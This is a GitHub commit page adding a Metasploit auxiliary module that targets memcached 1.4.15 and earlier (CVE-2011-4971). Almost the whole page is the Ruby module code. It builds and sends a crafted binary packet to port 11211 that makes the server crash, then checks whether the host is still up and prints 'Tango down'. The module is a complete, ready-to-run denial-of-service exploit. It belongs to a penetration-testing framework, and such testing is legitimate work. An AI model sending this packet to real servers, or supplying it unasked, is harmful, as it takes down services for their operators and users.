Skip to content

Commit 116e2bb

Browse files
committed
Landing rapid7#1782 - Added Memcached Remote Denial of Service module
2 parents c705928 + 3d9dcbf commit 116e2bb

File tree

1 file changed

+68
-0
lines changed

1 file changed

+68
-0
lines changed
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
9+
require 'msf/core'
10+
11+
12+
class Metasploit3 < Msf::Auxiliary
13+
14+
include Msf::Exploit::Remote::Tcp
15+
include Msf::Auxiliary::Dos
16+
17+
def initialize(info = {})
18+
super(update_info(info,
19+
'Name' => 'Memcached Remote Denial of Service',
20+
'Description' => %q{
21+
This module send specially-crafted packet causing a
22+
segmentation fault in memcached v1.4.15 or earlier versions.
23+
},
24+
25+
'References' =>
26+
[
27+
[ 'URL', 'https://code.google.com/p/memcached/issues/detail?id=192' ],
28+
[ 'CVE', '2011-4971' ],
29+
],
30+
'Author' => [ 'Gregory Man <man.gregory[at]gmail.com>' ],
31+
'License' => MSF_LICENSE
32+
))
33+
34+
register_options([Opt::RPORT(11211),], self.class)
35+
end
36+
37+
def is_alive?
38+
begin
39+
connect
40+
disconnect
41+
rescue Rex::ConnectionRefused
42+
return false
43+
end
44+
45+
return true
46+
end
47+
48+
def run
49+
connect
50+
pkt = "\x80\x12\x00\x01\x08\x00\x00\x00\xff\xff\xff\xe8\x00\x00\x00\x00"
51+
pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00"
52+
pkt << "\x00\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
53+
pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
54+
55+
print_status("#{rhost}:#{rport} - Sending dos packet...")
56+
sock.put(pkt)
57+
disconnect
58+
59+
print_status("#{rhost}:#{rport} - Checking host status...")
60+
select(nil, nil, nil, 1)
61+
62+
if is_alive?
63+
print_error("#{rhost}:#{rport} - The DoS attempt did not work, host is still alive")
64+
else
65+
print_good("#{rhost}:#{rport} - Tango down") # WWJS - What would th3j35t3r say?
66+
end
67+
end
68+
end

0 commit comments

Comments
 (0)